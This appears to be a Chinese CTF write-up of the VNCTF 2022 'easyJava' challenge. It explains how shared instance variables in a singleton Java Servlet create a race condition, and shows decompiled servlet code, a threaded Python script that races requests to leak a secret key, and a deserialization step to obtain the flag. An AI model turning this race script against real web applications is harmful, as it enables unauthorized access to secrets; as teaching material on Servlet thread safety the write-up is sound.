javaSec-Servlet的线程安全问题

javaSec-Servlet的线程安全问题

刚开始看见关于这的知识点是在p神的知识星球看见y4师傅发的,后来又看见了vnctf用了这个知识点,就简单的写下。
这里直接拿easyJava这题的题目环境当了demo:
刚开始有个任意文件读取,直接读Servlet文件反编译下先看HelloWorldServlet

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package servlet;

import entity.User;
import java.io.IOException;
import java.util.Base64;
import java.util.Base64.Decoder;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import util.Secr3t;
import util.SerAndDe;

@WebServlet(
    name = "HelloServlet",
    urlPatterns = {"/evi1"}
)
public class HelloWorldServlet extends HttpServlet {
    private volatile String name = "m4n_q1u_666";
    private volatile String age = "666";
    private volatile String height = "180";
    User user;

    public HelloWorldServlet() {
    }

    public void init() throws ServletException {
        this.user = new User(this.name, this.age, this.height);
    }

    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String reqName = req.getParameter("name");
        if (reqName != null) {
            this.name = reqName;
        }

        if (Secr3t.check(this.name)) {
            this.Response(resp, "no vnctf2022!");
        } else {
            if (Secr3t.check(this.name)) {
                this.Response(resp, "The Key is " + Secr3t.getKey());
            }

        }
    }

    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        String key = req.getParameter("key");
        String text = req.getParameter("base64");
        if (Secr3t.getKey().equals(key) && text != null) {
            Decoder decoder = Base64.getDecoder();
            byte[] textByte = decoder.decode(text);
            User u = (User)SerAndDe.deserialize(textByte);
            if (this.user.equals(u)) {
                this.Response(resp, "Deserialize…… Flag is " + Secr3t.getFlag().toString());
            }
        } else {
            this.Response(resp, "KeyError");
        }

    }

    private void Response(HttpServletResponse resp, String outStr) throws IOException {
        ServletOutputStream out = resp.getOutputStream();
        out.write(outStr.getBytes());
        out.flush();
        out.close();
    }
}

Secr3t.class

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package util;

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import org.apache.commons.lang3.RandomStringUtils;

public class Secr3t {
    private static final String Key = RandomStringUtils.randomAlphanumeric(32);
    private static StringBuffer Flag;

    private Secr3t() {
    }

    public static String getKey() {
        return Key;
    }

    public static StringBuffer getFlag() {
        Flag = new StringBuffer();
        InputStream in = null;

        try {
            in = Runtime.getRuntime().exec("/readflag").getInputStream();
        } catch (IOException var12) {
            var12.printStackTrace();
        }

        BufferedReader read = new BufferedReader(new InputStreamReader(in));

        try {
            String line = null;

            while((line = read.readLine()) != null) {
                Flag.append(line + "\n");
            }
        } catch (IOException var13) {
            var13.printStackTrace();
        } finally {
            try {
                in.close();
                read.close();
            } catch (IOException var11) {
                var11.printStackTrace();
                System.out.println("Secr3t : io exception!");
            }

        }

        return Flag;
    }

    public static boolean check(String checkStr) {
        return "vnctf2022".equals(checkStr);
    }
}

直接看他的check方法就好,我们再回到我们的那个servlet,可以看到这有两个判断,我们需要通过这两个判断来获取key值:
javaSec-Servlet的线程安全问题_第1张图片
Servlet的线程安全问题

Servlet实际上是一个单件,当我们第一次请求某个Servlet时,Servlet容器将会根据web.xml配 置文件或者是注解实例化这个Servlet类,之后如果又有新的客户端请求该Servlet时,则一般不 会再实例化该Servlet类,这说明了什么呢?简单来说,当多个用户一起访问时,得到的其实是 同一个Servlet实例,这样的话,他们对实例的成员变量的修改其实会影响到别人,所以在开发 的时候如果没有注意这个问题往往会有一些额安全问题,而往往Servlet的线程安全问题主要是 由于实例变量使用不当而引起

ok,了解完原理我们来写个脚本进行竞争:

from concurrent.futures import thread
import requests
import threading

def thread1():
    host = "http://2f8095a8-05a4-42e1-ae3a-ceb7e81651f4.node4.buuoj.cn:81/"
    while True:
        r = requests.get(host+"evi1?name=wa1ki0")
        r.encoding = "utf-8"
        if r.text.find("The Key is")!=-1:
            print(r.text)

 
def thread2():
    host = "http://2f8095a8-05a4-42e1-ae3a-ceb7e81651f4.node4.buuoj.cn:81/"
    while True:
        r = requests.get(host+"evi1?name=vnctf2022")
        if r.text.find("The Key is")!=-1:
            print(r.text)

if __name__ == '__main__':
    thread1=threading.Thread(target=thread1)
    thread2=threading.Thread(target=thread2)
    thread1.start()
    thread2.start()
    thread1.join()
    thread2.join()


运行结果:
javaSec-Servlet的线程安全问题_第2张图片
key获得后会进行反序列化比较,其实只要反序列化一个要求的一模一样的类就好了:
javaSec-Servlet的线程安全问题_第3张图片
接着我们序列化一个类(transient关键字修饰的变量无法直接反序列化,所以在生产byte的时候需要重写一下writeObject,否则会自己的 User对象的height值为空) :
javaSec-Servlet的线程安全问题_第4张图片
javaSec-Servlet的线程安全问题_第5张图片
传个参就好了最后:
javaSec-Servlet的线程安全问题_第6张图片

你可能感兴趣的:(javasec,安全,java,开发语言)